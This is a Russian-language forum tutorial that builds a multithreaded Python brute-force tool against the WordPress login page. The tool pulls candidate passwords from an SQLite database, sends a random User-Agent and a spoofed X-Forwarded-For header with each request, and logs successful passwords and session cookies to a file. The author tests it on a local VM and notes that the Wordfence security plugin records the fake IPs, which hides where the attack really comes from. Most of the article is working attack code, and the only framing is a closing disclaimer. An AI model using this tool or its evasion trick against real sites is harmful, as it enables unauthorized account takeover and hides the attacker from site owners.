Python+requests+threading. Перебор пароля
@webware
риветствую всех специалистов и заинтересованных Информационной Безопасностью на этом замечательном ресурсе. Продолжаю свой цикл статей по изучению языков программирования.
С публикации моей последней статьи прошло ~2 месяца и в обсуждении к ней я пообещал написать новый скрипт/программу, которая бы:
1. Использовала бы замечательный модуль requests;
2. Использовала бы многопоточность через модуль threading;
3. Забирала бы пароли из готовой базы данных;
4. При новом POST-запросе к форме авторизации меняла бы «случайно» заголовки.
Сразу прошу прощения за столь долгое отсутствие на форуме, но задачу я выполнил, а Вам ее оценивать. Ну что начнем?!
Подготовка
Поставим задачу следующим образом. У нас будет некий сайт, на котором будет открыта форма авторизации, CMS я выбрал Wordpress и что бы долго не морочится скачал готовый *.ova-образ из интернета, который поднял на VMware Workstation 14.
Из стороннего программного обеспечения нам потребуется Wireshark, что бы отлавливать правильность наших запросов,а для формирования БД потребуется SQLiteStudio.
Также рекомендовано к прочтению, хотя бы по диагонали — rfc2068.
Формируем базу данных
С помощью SQLiteStudio сформируем базу данных с двумя таблицами.
Первая таблица будет содержать следующие заголовки:
User-agent – Заголовок программного обеспечения клиента;
Accept – Заголовок списка допустимых форматов ресурса;
Accept-Language – Заголовок списка допустимых языков;
Connection – Соединение;
Accept-Encoding – Поддерживаемые способы кодирования;
X-Forwarded-For – Определение IP-адреса при подключении к серверу через прокси.

Вторая же таблица будет содержать только пароли, логин мы будем задавать сами.

Программируем
Добавим в начало скрипта необходимые модули с которыми предстоит работать:
# -*- coding:utf-8 -*- import requests import argparse import sqlite3 import threading from queue import Queue
После этого напишем функцию, которая будет забирать аргументы из командной строки:
def createparser():
parser = argparse.ArgumentParser(description='Для работы вводятся дополнительные параметры\'s')
parser.add_argument('-url', '--u', help='Добавить URL формы авторизации', dest='url')
parser.add_argument('-login', '--l', help='Имя пользователя', dest='login')
parser.add_argument('-threads', '--t', help='Количество потоков', dest='thread')
return parser
Для запуска напишем цикл, который будет собирать пароли из базы и запускать основные функции с передачей в них аргументов из CLI:
if __name__ == "__main__":
try:
parser = createparser()
data = parser.parse_args()
# Получаем пароли из базы пароли
connector = sqlite3.connect('passBD.db')
passwdbd = connector.cursor()
passwdbd.execute('SELECT * FROM password')
password = passwdbd.fetchall()
main(password, data.login, data.url, int(data.thread))
except TypeError:
print("=" * 50)
print(
"| Скрипт не работает без дополнительных параметров | \n| \t Для начала попробуй > python main.py -h\t | ")
print("=" * 50)
print("email:sergmadox@yandex.com")
Функция main принимает список паролей, логин, ссылку и количество нужных нам потоков и запускает основной класс потоками, Queue же здесь используется для очередности, получил из списка пароль и при завершении одного потока запускается следующий:
def main(passwords, login, url, thread):
queue = Queue()
for i in range(thread):
insts = WP(login, url, queue)
insts.setDaemon(True)
insts.start()
for pwd in passwords:
queue.put(pwd)
queue.join()
Класс WP. Тут собственно и происходит вся «магия». Попробую описать, что тут происходит.
У класса несколько своих методов:
1. Метод headers, из первой таблицы нашей базы данных забирается случайно строка, которую мы раскладываем на словарь и этот результат возвращаем из функции, это и будут наши данные заголовков;
2. Метод run запускает поток, ждет когда прекратится поток и сообщает об этом;
3. Метод job собственно и организует отправку POST-запроса с нашими данными, после отправки данных мы инициируем запрос GETна админку CMS,в случае отрицательного результата нам не удастся получить куки, в случае положительного сервер их нам отправит, для того, что бы «запомнить» пользователя, по ним собственно и будем определять сработала наша пара логин-пароль или нет, все данные после успешной авторизации мы запишем в файл.
class WP(threading.Thread):
def __init__(self, login, url, queue):
threading.Thread.__init__(self)
self.queue = queue
self.login = login
self.url = url
def headers(self):
connector_heads = sqlite3.connect('passBD.db')
heads = connector_heads.cursor()
heads.execute('SELECT * FROM headers ORDER BY random()')
headers = heads.fetchone()
result = {'user-agent': headers[0], 'Accept': headers[1], 'Accept-language': headers[2],
'Connection': headers[3], 'Accept-Encoding': headers[4], 'X-Forwarded-For': headers[5]}
return result
def run(self):
while True:
pwd = self.queue.get()
self.job(pwd)
self.queue.task_done()
def job(self, pwd):
head = WP.headers(self)
print('Пробуем', self.login, pwd[0])
s = requests.Session()
data = {'log': self.login, 'pwd': pwd, 'wp-submit': 'Log In', 'redirect_to': self.url+'/wp-admin'}
post_data = s.post(self.url+'/wp-login', data=data, headers=head)
head.update({'Connection': 'close'})
resp_data = s.get(self.url+'/wp-admin', headers=head)
if len(s.cookies) > 2:
print('Авторизация успешна c паролем:', pwd[0])
with open('result.txt', "a") as file:
file.write('Успешная авторизация с {} \n'.format(pwd[0]))
for cookies in s.cookies:
file.write(str(cookies))
else:
print('Неудача')
Ну что, скрипт готов, пора его запустить и посмотреть, что происходит в Wireshark-e, а там у нас все вполне предсказуемо, отправляются POST, после него происходит GET.
Запускаем 6 потоков для пользователя user командой main.py -url http://192.168.88.239 --l user --t 6:

Смотрим в Wireshark:


Обратите внимание какой GET приходит при подборе пароля:

Любопытный читатель конечно же спросит, а что со стороны сервера, а я отвечу на это вопрос. Пришлось немного подредактировать сбор логов на виртуальной машине и мы получаем вот такую картину:

Но что самое интересное, в основном основная уязвимость — это обыкновенная невнимательность или надежда на ПО, которое не пойми как работает, к чему я веду, поясню.
В админке CMS я установил модуль Wordfence(он имел 5 звезд), он вроде как и Firewall,который умеет отражать атаки и показывает много разных графиков, и т.д., но вот загвоздка, запустив с ним пару раз свой скрипт, в Wireshark в GET запросах я действительно увидел hacking-attempt, но в админке я увидел вот такую картину:

Что говорит, нам о том, что модуль как раз таки картину по IP-адресам сформировал из заголовков X-Forwarded-For нашей таблицы заголовков в БД, Вы можете сказать, что логи самого Apache скажут тебе, что запросы-то идут с одного IP-адреса, да, конечно, но вот будет ли владелец сайта читать и анализировать скучные логи ОС, что-то мне думается, что как раз поверят, вот такому ПО в процентах 50-60%, что нас с вами устраивает, пусть блокируют выдуманные IP-адреса.
Заключение
Данный скрипт не призыв к действию, а только возможность научится писать и использовать код в рабочих целях.
Спасибо что прочитали и всем удачи!